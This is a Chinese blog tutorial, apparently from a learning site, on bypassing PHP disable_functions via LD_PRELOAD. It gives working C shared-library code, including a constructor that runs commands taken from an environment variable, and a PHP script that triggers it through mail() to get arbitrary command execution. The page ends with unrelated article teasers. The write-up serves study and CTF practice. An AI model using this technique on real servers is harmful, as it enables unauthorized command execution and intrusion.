当前位置：首页 > news >正文

LD_PRELOAD 绕过 disable_function 学习

news 来源：原创 2025/9/16 2:46:13

借助这位师傅的文章来学习通过LD_PRELOAD来绕过disable_function的原理

【PHP绕过】LD_PRELOAD bypass disable_functions_phpid绕过-CSDN博客

感谢这位师傅的贡献

介绍

静态链接：

（1）举个情景来帮助理解：假设你要搬家，但家具不换，全部打包带走。

（2）优点：搬到新家后，直接开箱即用，不依赖外部资源（不去邻居家借洗衣机）

（3）缺点：搬家时行李又多又重（程序体积大），而且如果家具升级（比如库更新），得重新买一套再搬一次（重新编译程序）

（4）在编译时，所有依赖的库代码可直接嵌入到可执行文件中，程序独立运行，但体积较大，且库更新需重新编译程序

动态链接：

（1）举个情景来帮助理解：这次搬家，只带必需品，其他东西（比如工具书，电器）选择去附近的图书馆或共享商店按需借用。需要时随时去拿，用完归还。

（2）优点：行李轻便（程序体积小），多个家庭共享同一本书或工具（多个程序共享一个库），资源更新也方便（图书馆换新书）

（3）缺点：可能出现图书馆关门（库文件缺失）
（4）编译时不进行函数库的链接，而是在程序运行时才动态地载入所需的函数库。这样使得可执行文件体积较小，并且多个程序可以共享相同的动态库，节省内存资源。动态链接提高了程序的灵活性和可维护性。

再来了解一下什么是LD_PRELOAD

LD_PRELOAD 是linux/Unix系统中一个强大的环境变量，允许用户在程序运行时优先加载自定义的共享库，从而覆盖或替换标准库中的函数。

也就是说，通过LD_PRELOAD指定的共享库会在程序启动时最先加载，其定义的函数会覆盖后续加载的同名函数。

用法

那么其利用方法很明显了，如果我们能在我们的自定义库中写入一些与”原本函数“ 作用不同但同名的函数，就能成功覆盖掉原本函数的用法了。

跟着师傅的例子再来了解一下

劫持getgid

看看id命令在执行过程中会用到的函数表

┌──(root㉿kali)-[~/Desktop]
└─# readelf -Ws /usr/bin/id     Symbol table '.dynsym' contains 74 entries:Num:    Value          Size Type    Bind   Vis      Ndx Name0: 0000000000000000     0 NOTYPE  LOCAL  DEFAULT  UND 1: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND endgrent@GLIBC_2.2.5 (2)2: 0000000000000000     0 FUNC    GLOBAL DEFAULT  UND getenv@GLIBC_2.2.5 (2)

而这些函数都是可以被我们覆盖的，现在观察一下getgid函数的内容，输入 man getgid

构造一个与之原型相同的函数

#include<stdlib.h>
#include<unistd.h>
#include<sys.types.h>gid_t getgid(void){unsetenv("LD_PRELOAD");// 使用unsetenv删除原有的共享库system("'echo 'I hacked U!!\n' > successful");
}

运行指令

gcc --shared -fPIC rob.c -o rob.so

接下来，载入这个库并运行id命令

┌──(root㉿kali)-[~/test]
└─# LD_PRELOAD=./rob.so id
uid=0(root) gid=0(root) groups=0(root)

得到successful文件

这就是一次劫持操作

绕过disable_function

当题目中有disable_function的限制时，会导致我们拿到的shell都是空的，这时就要想办法绕过disable_function。其实我们要实现的操作主要是执行命令，可以使用LD_PRELOAD环境变量强制该程序优先加载一个恶意共享库(.so文件)，覆盖其调用的标准库函数(如getuid())，从而执行任意代码

编写恶意文件

#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>__attribute__((constructor)) void hack(void){
// 使用__attribute__((constructor)) 可以在加载库的同时执行函数unsetenv("LD_PRELOAD");system("ls > hackfile");// 用于php
}

运行指令

┌──(root㉿kali)-[~/test]
└─# gcc --shared -fPIC hack.c -o hack.so

编写hack.php文件

<?php
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
echo file_get_contents("hackfile");
?>

此时再执行，就可以成功劫持了

┌──(root㉿kali)-[~/test]
└─# php hack.php
sh: 1: /usr/sbin/sendmail: not found
1
hack.c
hack.php
hack.so
hackfile
rob.c
rob.so
successful

同时，这位师傅还给出了手动输入参数的做法，真的很厉害

将hack.c改为：

#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>__attribute__((constructor)) void hack(void){
// 使用__attribute__((constructor)) 可以在加载库的同时执行函数unsetenv("LD_PRELOAD");char *cmd=getenv("MY_CMD");system(cmd);
}

再将hack.php改为：

<?php
$a=$argv[1];
$cmd="$a > hackfile";
@putenv("MY_CMD=".$cmd);
putenv("LD_PRELOAD=./hack.so");
mail("","","","");
echo file_get_contents("hackfile");
?>

就可以这样运行代码了：

┌──(root㉿kali)-[~/test]
└─# php hack.php id
sh: 1: /usr/sbin/sendmail: not found
uid=0(root) gid=0(root) groups=0(root)

前几天看了一篇推文，发觉对漏洞和工具的原理还是要去理解。感谢师傅提供的思路和方法！

LD_PRELOAD 绕过 disable_function 学习

借助这位师傅的文章来学习通过LD_PRELOAD来绕过disable_function的原理【PHP绕过】LD_PRELOAD bypass disable_functions_phpid绕过-CSDN博客感谢这位师傅的贡献介绍静态链接： （1）举个情景来帮助理解： 假设你要搬家&#x…...

编程日记 2025/9/16 2:46:13

计算机毕业设计Hadoop+Spark+DeepSeek-R1大模型民宿推荐系统 hive民宿可视化民宿爬虫大数据毕业设计(源码+文档+PPT+讲解)

温馨提示：文末有 CSDN 平台官方提供的学长联系方式的名片！ 温馨提示：文末有 CSDN 平台官方提供的学长联系方式的名片！ 温馨提示：文末有 CSDN 平台官方提供的学长联系方式的名片！ 作者简介：Java领…...

编程日记 2025/9/16 2:43:54

MySQL后端返回给前端的时间变了（时区问题）

问题：MySQL里的时间例如为2025-01-10 21:19:30，但是返回到前端就变成了2025-01-10 13:19:30，会出现小时不一样或日期变成隔日的问题一般来说设计字段时会使用datetime字段类型，这是一种用于时间的字段类型，而这个类型…...

编程日记 2025/9/16 2:45:07

Apache Doris：一款高性能的实时数据仓库

Apache Doris 是一款基于 MPP 架构的高性能、实时分析型数据库。它以高效、简单和统一的特性著称，能够在亚秒级的时间内返回海量数据的查询结果。Doris 既能支持高并发的点查询场景，也能支持高吞吐的复杂分析场景。 Apache Doris 最初是百度广告报表业务…...

编程日记 2025/9/16 2:45:06

【量化-什么是信息？怎么有效的学习？关键字摘取】

到底什么是信息呢？我们怎么衡量信息的价值与多少呢？今天，我们就来说说这个问题。怎么量化信息？ 信息，只有量化了才能被准确地讨论，而量化的方法就和事件发生的概率密切相关。或者说得直白一些&#xff0…...

编程日记 2025/9/16 2:44:23

Java之异常体系

异常：异常就是代表程序出现问题异常的继承体系： Error：严重异常，内存溢出等其他异常：编译时异常：编译阶段就要进行处理的异常（提醒程序员检查本地信息） RuntimeException&#…...

编程日记 2025/9/15 15:33:22

网络运维学习笔记（DeepSeek优化版）002网工初级（HCIA-Datacom与CCNA-EI）子网划分与协议解析

文章目录子网划分与协议解析1. VLSM与CIDR技术解析1.1 VLSM（Variable Length Subnetwork Mask，可变长子网掩码）1.2 CIDR（Classless Inter-Domain Routing，无类域间路由） 2. 子网划分方法与计算2.1 常规划分…...

编程日记 2025/9/15 20:10:36

【Linux知识】Linux上从源码编译到软件安装全过程详细说明

文章目录 **1. 下载源码****(1) 使用 wget 或 curl 下载****(2) 解压源码** **2. 配置编译环境****(1) 执行 ./configure 脚本**常见参数说明： **3. 编译源码****(1) 执行 make** **4. 安装软件****(1) 执行 make install****(2) 自定义安装路径** **5. 验证安装***…...

编程日记 2025/9/16 2:45:07

【尝试使用python调用Seismic unix】

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、代码总结前言提示：这里可以添加本文要记录的大概内容： 使用seismic unix尝试建立界面，首先想到使用pyqt&#xff0c…...

编程日记 2025/9/16 2:45:07

JSON Web Token在登陆中的使用

JWT（JSON Web Token）是一种开放标准（RFC 7519），用于在网络应用环境间安全地传递声明。它的主要用途是身份验证和信息交换。在微服务架构中，JWT 作为认证机制非常常见，特别是与 API 网关结合使用…...

编程日记 2025/9/15 4:18:31

CSS滚动条原理与自定义样式指南，CSS滚动条样式失效，滚动条样式无效，-webkit-scrollbar无效，overflow不显示滚动条

滚动内容形成的必要条件 CSS Overflow属性解析 MDN官方文档-Overflow属性菜鸟教程-Overflow属性 overflow 属性控制内容溢出元素框时在对应的元素区间内是否添加滚动条。值描述visible默认值。内容不会被修剪，会呈现在元素框之外。hidden内容会被修剪&#xf…...

编程日记 2025/9/16 2:46:13

陀螺匠·企业助手v1.8 产品介绍

陀螺匠企业助手是一套采用Laravel 9框架结合Swoole高性能协程服务与Vue.js前端技术栈构建的新型智慧企业管理与运营系统。该系统深度融合了客户管理、项目管理、审批流程自动化以及低代码开发平台，旨在为企业提供一站式、数字化转型的全方位解决方案，助力…...

编程日记 2025/9/16 2:44:22

【数据结构】(11) Map 和 Set

一、Map 和 Set 的简介 1、Set 和 Map Map 和 Set 是集合类框架学习的最后一部分。Map 和 Set 都是接口，需要通过 TreeSet、HashSet 和 TreeMap、HashMap 实例化。注意，Set 实现了 Collection，Map 并没有。 Set 存放的是键（Key&a…...

编程日记 2025/9/15 20:00:21

DeepSeek 提示词：高效的提示词设计

🧑 博主简介：CSDN博客专家，历代文学网（PC端可以访问：https://literature.sinhy.com/#/?__c1000，移动端可微信小程序搜索“历代文学”）总架构师，15年工作经验，精通Java编…...

编程日记 2025/9/16 2:46:13

【Redis】在Java中以及Spring环境下操作Redis

Java环境下： 1.创建maven 项目 2.导入依赖 <dependency><groupId>redis.clients</groupId><artifactId>jedis</artifactId><version>4.3.2</version></dependency> 此处使用的是Jedis&…...

编程日记 2025/9/16 2:43:52

Linux红帽：RHCSA认证知识讲解（二）配置网络与登录本地远程Linux主机

Linux红帽：RHCSA认证知识讲解（二）配置网络与登录本地远程Linux主机前言一、使用命令行（nmcli 命令）配置网络，配置主机名第一步第二步修改主机名称二、使用图形化界面（nmtui 命令）配…...

编程日记 2025/9/16 2:46:13

新数据结构(13)——I/O

字符流字符输入流（Reader） 字符输入流用于从数据源（如文件、字符串等）读取字符数据。Reader 是所有字符输入流的抽象基类。常用实现类 FileReader 用于从文件中读取字符数据。 InputStreamReader 将字节流转换为字符流&…...

编程日记 2025/9/16 2:46:12

C语言学习，希尔排序

C语言，希尔排序是插入排序的一种，也称为递减增量排序。通过比较距离较远的元素，然后逐渐缩小间隔，直到整个数组变成有序的。这种排序方法减少了插入排序，大数据集的移动次数，提高了效率。示例&#xff1a…...

编程日记 2025/9/13 9:34:13

Powershell Install deepseek

前言 deepseekAI助手。它具有聊天机器人功能，可以与用户进行自然语言交互，回答问题、提供建议和帮助解决问题。DeepSeek 的特点包括： 强大的语言理解能力：能够理解和生成自然语言，与用户进行流畅的对话。多领域知识&…...

编程日记 2025/9/11 12:35:00

22、《Spring Boot消息队列：RabbitMQ延迟队列与死信队列深度解析》

Spring Boot消息队列实战：RabbitMQ延迟队列与死信队列深度解析引言在现代分布式系统中，消息队列承担着解耦、削峰填谷和异步通信的重要职责。本文将深入探讨Spring Boot与RabbitMQ的整合应用，重点解析延迟队列与死信队列的实现原理及实战…...

编程日记 2025/9/16 0:38:59

性能测试项目实战

项目介绍和部署项目背景轻商城项目是一个现在流行的电商项目。我们需要综合评估该项目中各个关键接口的性能，并给出优化建议，以满足项目上线后的性能需要。项目功能架构前台商城：购物车、订单、支付、优惠券等后台管理系统：商…...

编程日记 2025/9/10 17:17:28

LabVIEW中显微镜下位移误差的畸变

在显微实验中，位移台通过电机驱动探针进行微米级精确移动，配合显微镜和相机实时观察探针的位置。然而，实验中发现，当电机移动相同的物理距离时，图像中探针的像素位移量存在显著的非线性偏差。经测试，电机的…...

编程日记 2025/9/11 14:33:56

Spark MLlib中的机器学习算法及其应用场景

Spark MLlib是Apache Spark框架中的一个机器学习库，提供了丰富的机器学习算法和工具，用于处理和分析大规模数据。以下是Spark MLlib中的机器学习算法及其应用场景的详细描述： 一、Spark MLlib中的机器学习算法分类算法： 逻辑回…...

编程日记 2025/9/15 14:45:18

Angular 中获取 DOM 节点的几种方法

文章目录 1. 使用ViewChild获取单个 DOM 节点2. 使用ViewChildren获取多个 DOM 节点3. 使用ElementRef直接访问 DOM4. 使用Renderer2操作 DOM5. 总结在 Angular 开发中，虽然框架鼓励我们通过组件和模板来操作 DOM，但在某些情况下，直接访问和…...

编程日记 2025/9/14 14:26:46

R Excel 文件：高效数据处理的利器

R Excel 文件：高效数据处理的利器在数据分析领域，R语言因其强大的统计分析和可视化功能而备受推崇。而R Excel文件，作为R语言与Excel的桥梁，使得数据在R和Excel之间的高效转换成为可能。本文将详细介绍R Excel文件的概念、应用场景以及操作方法。一、R Excel文件的概念…...

编程日记 2025/9/15 0:32:49

手撕跳表/数据结构

昨天leetcode每日一题是跳表，之前学redis就没去写跳表，这次就逃不过了。这里使用了len数组，来表示每个数字之间的间隔，方便复杂的查询功能。主要问题有为什么len数组记录的是数字之间的间隔，不是每一层从头到尾…...

编程日记 2025/9/10 15:00:44

在 Vue 中处理跨域请求：全面解析与实践指南

在 Vue 中处理跨域请求：全面解析与实践指南在现代 Web 开发的复杂生态中，跨域请求（CORS）如同一个无处不在的难题，时刻考验着开发者的技术能力。当我们构建基于 Vue.js 的前端应用时，这一问题尤为凸显。因为…...

编程日记 2025/9/9 14:12:28

爬虫与反爬-Ja3指纹风控（Just a moment...）处理方案及参数说明

概述：本文将针对Ja3 指纹检测风控进行处理，举例了一个案例并使用两种不同的破解方案进行突破，同时深入了解指纹间不同字符所代表的含义指纹检测背景： 1、每一个设备、软件都有独属于自己的设备信息、版本号、加密算法、椭圆算法…...

编程日记 2025/9/11 13:40:42

WPF-Avalonia实践一两个页面的相关传递

文章目录注册两个ViewModel关联-Interaction在 Avalonia 框架中的 Interaction作用目的典型的使用场景显示对话框：文件操作：定义交互属性示例代码视图层处理交互总结例子-实现两个界面信息传递Interaction注册在主VIEWModel中注册异步方法按钮主viewModel对应的显示xaml-使用…...

编程日记 2025/9/15 3:36:14

无人机实战系列（三）本地摄像头+远程GPU转换深度图

这篇文章将结合之前写的两篇文章无人机实战系列（一）在局域网内传输数据和无人机实战系列（二）本地摄像头 Depth-Anything V2 实现了以下功能： 本地笔记本摄像头发布图像远程GPU实时处理（无回传&#…...

编程日记 2025/9/14 20:31:07

LeetCode：数组异或操作

数组异或操作描述给你两个整数，n 和 start 。数组 nums 定义为：nums[i] start 2*i（下标从 0 开始）且 n nums.length 。请返回 nums 中所有元素按位异或（XOR）后得到的结果。示例 1：…...

编程日记 2025/9/14 20:50:26

【前端】Axios AJAX Fetch

不定期更新，建议关注收藏点赞。目录 AxiosAJAXCORS 允许跨域请求 Fetch Axios axios 是一个基于 Promise 的 JavaScript HTTP 客户端，用于浏览器和 Node.js 中发送 HTTP 请求。它提供了一个简单的 API 来发起请求，并处理请求的结果。axios …...

编程日记 2025/9/9 18:16:09

C++ 继承与运算符重载的简单练习

1.长方形的继承类 #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> #include <sstream> #include <vector> #include <memory>using namespace std; class AB{ private:int a;int …...

编程日记 2025/9/12 14:39:51

pycharm技巧--鼠标滚轮放大或缩小 Pycharm 字体大小

1、鼠标滚轮调整字体设置 Ctrl 鼠标滚轮调整字体大小备注： 第一个是活动窗口，即缩放当前窗口第二个是所有编辑器窗口，即缩放所有窗口的字体 2、插件汉化包： Chinese Simplified 包...

编程日记 2025/9/14 1:25:50

deepseek 导出导入模型(docker)

前言实现导出导入deepseek 模型。deepseek 安装docker下参考 docker 导出模型实际生产环境建议使用docker-compose.yml进行布局，然后持久化ollama模型数据到本地参考 echo "start ollama" docker start ollama#压缩容器内文件夹，然后拷贝…...

编程日记 2025/9/15 4:18:35

STM32——HAL库开发笔记21（定时器2—输出比较）（参考来源：b站铁头山羊）

本文主要讲述输出比较及PWM信号相关知识。一、概念所谓输出比较，就是通过单片机的定时器向外输出精确定时的方波信号。 1.1 PWM信号 PWM信号即脉冲宽度调制信号。PWM信号的占空比 （高电压所占周期 / 整个周期） * 100% 。所以PWM信号…...

编程日记 2025/9/15 1:56:13

【报错解决】vue打开界面报错Uncaught SecurityError: Failed to construct ‘WebSocket‘

问题描述： vue运行时正常，但是打开页面后报错 Uncaught SecurityError: Failed to construct WebSocket: An insecure WebSocket connection may not be initiated from a page loaded over HTTPS. 解决方案： 在项目列表中的public下的ind…...

编程日记 2025/8/16 11:10:17

【初探数据结构】时间复杂度和空间复杂度

💬 欢迎讨论：在阅读过程中有任何疑问，欢迎在评论区留言，我们一起交流学习！ 👍 点赞、收藏与分享：如果你觉得这篇文章对你有帮助，记得点赞、收藏，并分享给更多对数据结构感…...

编程日记 2025/9/15 0:05:56

将DeepSeek接入vscode的N种方法

接入deepseek方法一：cline 步骤1：安装 Visual Studio Code 后，左侧导航栏上点击扩展。步骤2：搜索 cline，找到插件后点击安装。步骤3：在大模型下拉菜单中找到deep seek，然后下面的输入框输入你在deepseek申请的api key，就可以用了让deepseek给我写了一首关于天气的…...

编程日记 2025/9/14 13:27:09

《TransMamba：一种混合Transformer-Mamba网络用于单图像去雨》学习笔记

paper：2409.00410 GitHub：sunshangquan/TransMamba 目录摘要 1、介绍 2、相关工作 2.1 单图像去雨 2.2 视觉Transformer 2.3 光谱域中的Transformer 2.4 光谱域中的图像恢复 2.5 视觉Mamba 3、方法 3.1 整体网络架构 3.2 光谱域变换块&am…...

编程日记 2025/9/11 1:22:42

危化品经营单位安全管理人员的职责及注意事项

危化品经营单位安全管理人员肩负着保障经营活动安全的重要责任，以下是其主要职责及注意事项： 职责 1. 安全制度建设与执行：负责组织制定本单位安全生产规章制度、操作规程和生产安全事故应急救援预案，确保这些制度符合国家相关法…...

编程日记 2025/9/12 5:33:26

安装Redis并把Redis设置成windows下的服务然后进行Redis实例演示

目录 （一）安装Redis （二）Redis设置成windows下的服务 1、把redis设置成windows下的服务 2、设置服务命令 （三）Redis实例演示 1、Redis插入数据 2、Redis修改数据 3、Redis删除数据 4、Redis查询数…...

编程日记 2025/9/11 10:28:14

基于 Python 的项目管理系统开发

基于 Python 的项目管理系统开发一、引言在当今快节奏的工作环境中，有效的项目管理对于项目的成功至关重要。借助信息技术手段开发项目管理系统，能够显著提升项目管理的效率和质量。Python 作为一种功能强大、易于学习且具有丰富库支持的编程语言&…...

编程日记 2025/9/9 3:05:41

牛客周赛 Round 82（思维、差分、树状数组、大根堆、前后缀、递归）

文章目录牛客周赛 Round 82（思维、差分、树状数组、大根堆、前后缀、递归）A. 夹心饼干B. C. 食堂大作战（思维）D. 小苯的排列计数(差分、树状数组)E. 和和（大根堆，前缀和）F. 怎么写线性SPJ &…...

编程日记 2025/9/14 9:21:10

【python】解析自动化脚本文件并按照=测试周期=存储记录

【python】连接Jira获取token以及jira对象【python】解析自动化脚本文件并按照测试周期存储记录【python】向Jira推送自动化用例执行成功【python】向Jira测试计划下，附件中增加html测试报告将已编写的自动化测试用例按照jira号解析出来，并按照测试计…...

编程日记 2025/9/14 20:49:40

一种简单有效的分析qnx+android智能座舱项目中的画面闪烁的方法（8155平台）

在智能座舱项目的开发过程中，画面闪烁问题是一个常见但棘手的挑战。由于这些闪烁现象往往转瞬即逝，传统的分析工具如截图、录屏或dump图层等方法难以捕捉和定位问题根源。针对这一难题，本文介绍了一种较为有效的分析方法，能够帮助…...

编程日记 2025/9/10 5:16:24

架构师论文《论湖仓一体架构及其应用》

软考论文-系统架构设计师摘要作为某省级商业银行数据中台建设项目技术负责人，我在2020年主导完成了从传统数据仓库向湖仓一体架构的转型。针对日益增长的支付流水、用户行为埋点及信贷审核影像文件等多模态数据处理需求，原有系统存在存储成本激增、实…...

编程日记 2025/9/14 3:06:47

一篇文章学懂Vuex

一、基于VueCli自定义创建项目 233 344 二、Vuex 初始准备建项目的时候把vuex勾选上就不用再yarn add vuex3了 store/index.js // 这里面存放的就是vuex相关的核心代码 import Vuex from vuex import Vue from vue// 插件安装 Vue.use(Vuex)// 创建仓库（空仓库…...

编程日记 2025/9/10 4:15:52

模拟实现Java中的计时器

定时器是什么定时器也是软件开发中的⼀个重要组件. 类似于⼀个 "闹钟". 达到⼀个设定的时间之后, 就执⾏某个指定好的代码. 前端/后端中都会用到计时器. 定时器是⼀种实际开发中⾮常常⽤的组件. ⽐如⽹络通信中, 如果对⽅ 500ms 内没有返回数据, 则断开连接尝试重…...

编程日记 2025/9/9 18:06:35

全面理解-深拷贝与浅拷贝

在 C 中，深拷贝（Deep Copy） 和浅拷贝（Shallow Copy） 是两种完全不同的对象拷贝策略，主要区别在于对指针和动态分配资源的处理方式。正确理解二者的区别是避免内存泄漏、悬空指针和程序崩溃的关键。一、核…...

编程日记 2025/9/14 9:54:26

介绍

用法

劫持getgid

绕过disable_function

相关文章：